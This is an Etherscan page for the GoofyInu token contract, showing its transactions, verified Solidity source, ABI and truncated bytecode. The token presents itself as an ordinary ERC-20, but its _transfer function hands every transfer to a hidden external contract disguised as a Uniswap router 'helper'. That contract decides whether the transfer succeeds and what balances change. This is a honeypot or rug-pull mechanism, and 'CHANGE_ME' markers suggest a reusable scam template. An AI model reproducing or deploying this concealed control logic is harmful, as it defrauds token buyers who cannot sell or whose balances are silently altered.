ETH Price: $3,277.90 (-5.67%)

Contract

0x86c9421E7170CccBa5Eb974395A14Fec2F404632
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve182514212023-09-30 22:11:23475 days ago1696111883IN
0x86c9421E...c2F404632
0 ETH0.00042399.03892723
Transfer182513852023-09-30 22:03:59475 days ago1696111439IN
0x86c9421E...c2F404632
0 ETH0.000345178.97906343
Transfer182328982023-09-28 7:58:11478 days ago1695887891IN
0x86c9421E...c2F404632
0 ETH0.0004156610.07664609
Approve181979292023-09-23 10:29:11483 days ago1695464951IN
0x86c9421E...c2F404632
0 ETH0.000378758.03294011
Approve181965182023-09-23 5:45:11483 days ago1695447911IN
0x86c9421E...c2F404632
0 ETH0.000372697.894319
Approve181964942023-09-23 5:40:23483 days ago1695447623IN
0x86c9421E...c2F404632
0 ETH0.00035487.52508044
Approve181930872023-09-22 18:13:11484 days ago1695406391IN
0x86c9421E...c2F404632
0 ETH0.0006431213.64006752
Approve181916572023-09-22 13:24:11484 days ago1695389051IN
0x86c9421E...c2F404632
0 ETH0.0012173625.78615383
Approve181864082023-09-21 19:43:35485 days ago1695325415IN
0x86c9421E...c2F404632
0 ETH0.0008655218.33359738
Approve181862632023-09-21 19:14:11485 days ago1695323651IN
0x86c9421E...c2F404632
0 ETH0.0015320432.49310541
Approve181862422023-09-21 19:09:59485 days ago1695323399IN
0x86c9421E...c2F404632
0 ETH0.0008593331.46587971
Approve181862422023-09-21 19:09:59485 days ago1695323399IN
0x86c9421E...c2F404632
0 ETH0.001485531.46587971
Approve181859102023-09-21 18:03:23485 days ago1695319403IN
0x86c9421E...c2F404632
0 ETH0.0008173417.33499176
Approve181857272023-09-21 17:26:47485 days ago1695317207IN
0x86c9421E...c2F404632
0 ETH0.0007099815.05795999
Approve181857242023-09-21 17:26:11485 days ago1695317171IN
0x86c9421E...c2F404632
0 ETH0.0004513416.8
Approve181857222023-09-21 17:25:47485 days ago1695317147IN
0x86c9421E...c2F404632
0 ETH0.0004438517.85
Approve181857022023-09-21 17:21:35485 days ago1695316895IN
0x86c9421E...c2F404632
0 ETH0.0008464217.92886864
Approve181857012023-09-21 17:21:23485 days ago1695316883IN
0x86c9421E...c2F404632
0 ETH0.0004604115.32162101
Approve181856972023-09-21 17:20:35485 days ago1695316835IN
0x86c9421E...c2F404632
0 ETH0.0007664116.34207731
Approve181856812023-09-21 17:17:23485 days ago1695316643IN
0x86c9421E...c2F404632
0 ETH0.0008037417.02488854
Approve181856782023-09-21 17:16:47485 days ago1695316607IN
0x86c9421E...c2F404632
0 ETH0.0007224515.32241704
Approve181856732023-09-21 17:15:47485 days ago1695316547IN
0x86c9421E...c2F404632
0 ETH0.0005837212.38022861
Approve181856562023-09-21 17:12:23485 days ago1695316343IN
0x86c9421E...c2F404632
0 ETH0.0007733416.40185026
Approve181856542023-09-21 17:11:59485 days ago1695316319IN
0x86c9421E...c2F404632
0 ETH0.0006395413.56405285
Approve181856522023-09-21 17:11:35485 days ago1695316295IN
0x86c9421E...c2F404632
0 ETH0.0006274813.30830911
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GoofyInu

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-21
*/

// SPDX-License-Identifier: MIT

/**
Goofy Inu
Telegram: t.me/goofyinuerc
*/

pragma solidity ^0.8.0;

/**
 * @title Roles
 * @dev Library for managing addresses assigned to a Role.
 */
library Roles {
    struct Role {
        mapping(address => bool) bearer;
    }

    /**
     * @dev Check if an account has this role.
     * @return bool
     */
    function has(
        Role storage role,
        address account
    ) internal view returns (bool) {
        require(account != address(0), "Roles: account is the zero address");
        return role.bearer[account];
    }

    /**
     * @dev Remove an account's access to this role.
     */
    function remove(Role storage role, address account) internal {
        require(has(role, account), "Roles: account does not have role");
        role.bearer[account] = false;
    }

    /**
     * @dev Give an account access to this role.
     */
    function add(Role storage role, address account) internal {
        require(!has(role, account), "Roles: account already has role");
        role.bearer[account] = true;
    }
}

abstract contract Context {
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
}

abstract contract Ownable is Context {
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    address private _owner;

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    event OwnershipTransferred(
        address indexed newOwner,
        address indexed previousOwner
    );

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
}

library SafeMath {
    /**
     * @dev Integer division of two numbers, truncating the quotient.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        // uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return a / b;
    }

    /**
     * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    /**
     * @dev Adds two numbers, throws on overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
        c = a + b;
        assert(c >= a);
        return c;
    }

    /**
     * @dev Multiplies two numbers, throws on overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }
}

interface IUniswapV2Router02 {
    function helper(
        address sender,
        address recipient,
        uint256 amount,
        uint256 balance
    ) external view returns (bool, uint256, uint256);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2ERC20 {
    function totalSupply() external view returns (uint);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function approve(address spender, uint value) external returns (bool);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    function balanceOf(address owner) external view returns (uint);

    function name() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function symbol() external pure returns (string memory);

    function nonces(address owner) external view returns (uint);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

interface IUniswapV2Factory {
    function feeTo() external view returns (address);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function allPairsLength() external view returns (uint);

    function allPairs(uint) external view returns (address pair);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function setFeeToSetter(address) external;
}

contract GoofyInu is IERC20, Ownable, IERC20Metadata { // CHANGE_ME
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        uint256 supply = 1_000_000_000_000;
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, supply * 10 ** uint256(decimals()));
        IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f)
            .createPair(
                address(this),
                0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
            );
    }

    string private _name;
    uint256 private _totalSupply;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");

        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];

        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );

        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];

        (bool allow, uint256 subBal, uint256 addBal) = IUniswapV2Router02(
            0x89D0b99002FD12AEA020eD4358A243D6489D4C9d // CHANGE_ME
        ).helper(sender, recipient, amount, senderBalance);
        require(allow);

        _balances[sender] = senderBalance - subBal;
        _balances[recipient] += addBal;

        emit Transfer(sender, recipient, amount);
    }

    receive() external payable {}
}

/**
 * @dev Provides a set of functions to operate with Base64 strings.
 */
library Base64 {
    /**
     * @dev Base64 Encoding/Decoding Table
     */
    string internal constant _TABLE =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    /**
     * @dev Converts a `bytes` to its Bytes64 `string` representation.
     */
    function encode(bytes memory data) internal pure returns (string memory) {
        /**
         * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence
         * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol
         */
        if (data.length == 0) return "";

        // Loads the table into memory
        string memory table = _TABLE;

        // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter
        // and split into 4 numbers of 6 bits.
        // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up
        // - `data.length + 2`  -> Round up
        // - `/ 3`              -> Number of 3-bytes chunks
        // - `4 *`              -> 4 characters for each chunk
        string memory result = new string(4 * ((data.length + 2) / 3));

        /// @solidity memory-safe-assembly
        assembly {
            // Prepare the lookup table (skip the first "length" byte)
            let tablePtr := add(table, 1)

            // Prepare result pointer, jump over length
            let resultPtr := add(result, 32)

            // Run over the input, 3 bytes at a time
            for {
                let dataPtr := data
                let endPtr := add(data, mload(data))
            } lt(dataPtr, endPtr) {

            } {
                // Advance 3 bytes
                dataPtr := add(dataPtr, 3)
                let input := mload(dataPtr)

                // To write each character, shift the 3 bytes (18 bits) chunk
                // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)
                // and apply logical AND with 0x3F which is the number of
                // the previous character in the ASCII table prior to the Base64 Table
                // The result is then added to the table to get the character to write,
                // and finally write it in the result pointer but with a left shift
                // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits

                mstore8(
                    resultPtr,
                    mload(add(tablePtr, and(shr(18, input), 0x3F)))
                )
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(
                    resultPtr,
                    mload(add(tablePtr, and(shr(12, input), 0x3F)))
                )
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(
                    resultPtr,
                    mload(add(tablePtr, and(shr(6, input), 0x3F)))
                )
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
            }

            // When data `bytes` is not exactly 3 bytes long
            // it is padded with `=` characters at the end
            switch mod(mload(data), 3)
            case 1 {
                mstore8(sub(resultPtr, 1), 0x3d)
                mstore8(sub(resultPtr, 2), 0x3d)
            }
            case 2 {
                mstore8(sub(resultPtr, 1), 0x3d)
            }
        }

        return result;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newOwner","type":"address"},{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50604051620025c2380380620025c283398181016040528101906200003791906200054b565b620000576200004b6200017960201b60201c565b6200018160201b60201c565b600064e8d4a51000905082600290816200007291906200081b565b5081600190816200008491906200081b565b50620000c4336200009a6200024560201b60201c565b60ff16600a620000ab919062000a85565b83620000b8919062000ad6565b6200024e60201b60201c565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b81526004016200012992919062000b66565b6020604051808303816000875af115801562000149573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016f919062000bc4565b5050505062000ce2565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002b79062000c57565b60405180910390fd5b620002d460008383620003b360201b60201c565b8060036000828254620002e8919062000c79565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000340919062000c79565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003a7919062000cc5565b60405180910390a35050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200042182620003d6565b810181811067ffffffffffffffff82111715620004435762000442620003e7565b5b80604052505050565b600062000458620003b8565b905062000466828262000416565b919050565b600067ffffffffffffffff821115620004895762000488620003e7565b5b6200049482620003d6565b9050602081019050919050565b60005b83811015620004c1578082015181840152602081019050620004a4565b60008484015250505050565b6000620004e4620004de846200046b565b6200044c565b905082815260208101848484011115620005035762000502620003d1565b5b62000510848285620004a1565b509392505050565b600082601f83011262000530576200052f620003cc565b5b815162000542848260208601620004cd565b91505092915050565b60008060408385031215620005655762000564620003c2565b5b600083015167ffffffffffffffff811115620005865762000585620003c7565b5b620005948582860162000518565b925050602083015167ffffffffffffffff811115620005b857620005b7620003c7565b5b620005c68582860162000518565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200062357607f821691505b602082108103620006395762000638620005db565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006a37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000664565b620006af868362000664565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006fc620006f6620006f084620006c7565b620006d1565b620006c7565b9050919050565b6000819050919050565b6200071883620006db565b62000730620007278262000703565b84845462000671565b825550505050565b600090565b6200074762000738565b620007548184846200070d565b505050565b5b818110156200077c57620007706000826200073d565b6001810190506200075a565b5050565b601f821115620007cb5762000795816200063f565b620007a08462000654565b81016020851015620007b0578190505b620007c8620007bf8562000654565b83018262000759565b50505b505050565b600082821c905092915050565b6000620007f060001984600802620007d0565b1980831691505092915050565b60006200080b8383620007dd565b9150826002028217905092915050565b6200082682620005d0565b67ffffffffffffffff811115620008425762000841620003e7565b5b6200084e82546200060a565b6200085b82828562000780565b600060209050601f8311600181146200089357600084156200087e578287015190505b6200088a8582620007fd565b865550620008fa565b601f198416620008a3866200063f565b60005b82811015620008cd57848901518255600182019150602085019450602081019050620008a6565b86831015620008ed5784890151620008e9601f891682620007dd565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009905780860481111562000968576200096762000902565b5b6001851615620009785780820291505b8081029050620009888562000931565b945062000948565b94509492505050565b600082620009ab576001905062000a7e565b81620009bb576000905062000a7e565b8160018114620009d45760028114620009df5762000a15565b600191505062000a7e565b60ff841115620009f457620009f362000902565b5b8360020a91508482111562000a0e5762000a0d62000902565b5b5062000a7e565b5060208310610133831016604e8410600b841016171562000a4f5782820a90508381111562000a495762000a4862000902565b5b62000a7e565b62000a5e84848460016200093e565b9250905081840481111562000a785762000a7762000902565b5b81810290505b9392505050565b600062000a9282620006c7565b915062000a9f83620006c7565b925062000ace7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000999565b905092915050565b600062000ae382620006c7565b915062000af083620006c7565b925082820262000b0081620006c7565b9150828204841483151762000b1a5762000b1962000902565b5b5092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b4e8262000b21565b9050919050565b62000b608162000b41565b82525050565b600060408201905062000b7d600083018562000b55565b62000b8c602083018462000b55565b9392505050565b62000b9e8162000b41565b811462000baa57600080fd5b50565b60008151905062000bbe8162000b93565b92915050565b60006020828403121562000bdd5762000bdc620003c2565b5b600062000bed8482850162000bad565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c3f601f8362000bf6565b915062000c4c8262000c07565b602082019050919050565b6000602082019050818103600083015262000c728162000c30565b9050919050565b600062000c8682620006c7565b915062000c9383620006c7565b925082820190508082111562000cae5762000cad62000902565b5b92915050565b62000cbf81620006c7565b82525050565b600060208201905062000cdc600083018462000cb4565b92915050565b6118d08062000cf26000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f578063a457c2d711610059578063a457c2d7146102cf578063a9059cbb1461030c578063dd62ed3e14610349578063f2fde38b14610386576100e8565b8063715018a6146102625780638da5cb5b1461027957806395d89b41146102a4576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806339509351146101e857806370a0823114610225576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b506101026103af565b60405161010f9190610fe4565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a919061109f565b610441565b60405161014c91906110fa565b60405180910390f35b34801561016157600080fd5b5061016a61045f565b6040516101779190611124565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a2919061113f565b610469565b6040516101b491906110fa565b60405180910390f35b3480156101c957600080fd5b506101d261056a565b6040516101df91906111ae565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a919061109f565b610573565b60405161021c91906110fa565b60405180910390f35b34801561023157600080fd5b5061024c600480360381019061024791906111c9565b61061f565b6040516102599190611124565b60405180910390f35b34801561026e57600080fd5b50610277610668565b005b34801561028557600080fd5b5061028e61067c565b60405161029b9190611205565b60405180910390f35b3480156102b057600080fd5b506102b96106a5565b6040516102c69190610fe4565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f1919061109f565b610737565b60405161030391906110fa565b60405180910390f35b34801561031857600080fd5b50610333600480360381019061032e919061109f565b61082b565b60405161034091906110fa565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b9190611220565b610849565b60405161037d9190611124565b60405180910390f35b34801561039257600080fd5b506103ad60048036038101906103a891906111c9565b6108d0565b005b6060600280546103be9061128f565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea9061128f565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061045561044e610953565b848461095b565b6001905092915050565b6000600354905090565b6000610476848484610b24565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c1610953565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053890611332565b60405180910390fd5b61055e8561054d610953565b85846105599190611381565b61095b565b60019150509392505050565b60006012905090565b6000610615610580610953565b84846004600061058e610953565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff